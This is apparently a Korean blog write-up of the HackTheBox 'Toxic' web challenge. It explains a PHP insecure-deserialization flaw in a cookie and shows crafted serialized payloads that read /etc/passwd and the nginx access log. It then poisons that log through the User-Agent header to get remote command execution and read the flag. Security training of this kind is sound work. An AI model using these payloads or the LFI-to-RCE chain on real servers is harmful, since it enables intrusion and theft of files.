티스토리 뷰

728x90
반응형

 

Toxic은 Hackthebox의 Web Challenge 문제 중 하나입니다.

처음에 접속하면 위와 같은 웹페이지가 나옵니다. 그리고 제공받은 다운로드 파일에는 dockerfile과 index.html와 index.php 등의 일부 소스코드 파일도 존재합니다.

nginx 400 Bad Reuqest 오류 발생한 화면(경로에 특수문자 삽입함)

페이지 자체는 그냥 html 파일로 만들어진 것 같았으며, 서버 언어는 세션 키의 이름이 PHPSESSID 인 것을 보아 php인 것 같고, nginx 서버로 구동되고 있는 것 같았습니다.

그리고 세션 아이디가 base64 디코딩인 되는 것을 확인했습니다.

// Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9 디코딩 결과
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}

insecure deserialize 취약점이 존재하는 것 같았습니다. 아래는 제공받은 index.php 소스코드입니다.

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

그리고 아래는 제공받은 PageModel.php 소스코드입니다.

<?php
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
}

위 코드들을 보면 cookie 값이 base64 디코딩이 되고 unserialize 되는 것을 확인할 수 있습니다. unserialize 된 코드는 PageModel 클래스를 호출하고 include 함수에 base64 디코딩된 쿠키 값에 있는 파일 경로를 인자로 넘기게 됩니다. 별도로 파일 경로에 대한 검증 코드가 없기 때문에 LFI 공격에 취약하다는 것을 알 수 있게 해주는 코드입니다.

O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}

만약 위와 같이 글자 수를 11로, 경로를 /etc/passwd로 변경하고 다시 실행하게 된다면 어떻게 될지 확인해보았습니다. 그러면 아래와 같이 파일의 내용이 확인됨을 알 수 있었습니다.

하지만 플래그는 루트 경로에 존재합니다. 도커 설정 파일들을 보면 알 수 있습니다.

// Dockerfile 파일 내용 중 일부
COPY flag /flag

// entrypoint.sh 파일 내용 중 일부
# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`

심지어 플래그 이름이 랜덤한 이름으로 설정되었습니다. 결국 플래그 이름을 직접알아 내야 하는 수밖에 없습니다. 그럼 LFI 취약점 만으로는 알아낼 수가 없고, 직접 ls 명령어를 실행시킬 수 있는 RCE 취약점을 찾아내야했습니다.

 

그리고 최근에 포렌식를 하다가 알게된 것 중에 비슷한 개념을 찾았습니다. Log Poisoning 이라는 기법으로 LFI 취약점으로부터 RCE 취약점으로까지 이어지게 만들 수 있는 매우 심각한 취약점이라고 합니다. 참고 사이트는 다음과 같습니다.

https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1

 

From Local File Inclusion to Remote Code Execution - Part 1 | Outpost 24 blog

From Local File Inclusion to Remote Code Execution - Part 1 24.Apr.2018 Nikos Danopoulos, IT Security Consultant Local File Inclusion - aka LFI - is one of the most common Web Application vulnerabilities. If conducted successfully, It might allow attackers

outpost24.com

우선 access log 파일의 위치는 제공받은 파일에도 나와있다시피 /var/log/nginx/access.log 입니다. 이곳에 웹서버로 요청된 로그가 담겨있을 것입니다.

// O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==

그래서 쿠키값을 위와 같이 변경하고, 엑세스로그에 php 코드가 반사되어 실행될 수 있게 User-Agent 값에 php 코드를 삽입해보았습니다. (URL 값에 넣게 되면 URL 인코딩되었기 때문에 User-Agent 값에 넣었습니다.)

그랬더니 아래와 같이 phpinfo() 가 잘 실행된 것을 확인할 수 있었습니다.

결론적으로 system 함수를 사용하여 flag의 이름을 파악하고 flag 값을 출력하는 것으로 문제를 풀 수 있었습니다.

<?php system("ls -al /"); ?>

// O:9:"PageModel":1:{s:4:"file";s:11:"/flag_lxsmE";} base64 인코딩하면 아래와 같음
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2ZsYWdfbHhzbUUiO30=

그리고 다시 쿠키값을 위와 같이 변경해서 flag를 화면에 출력하면 다음과 같습니다. 문제 풀이의 재미를 위하여 가렸습니다.

728x90
반응형
댓글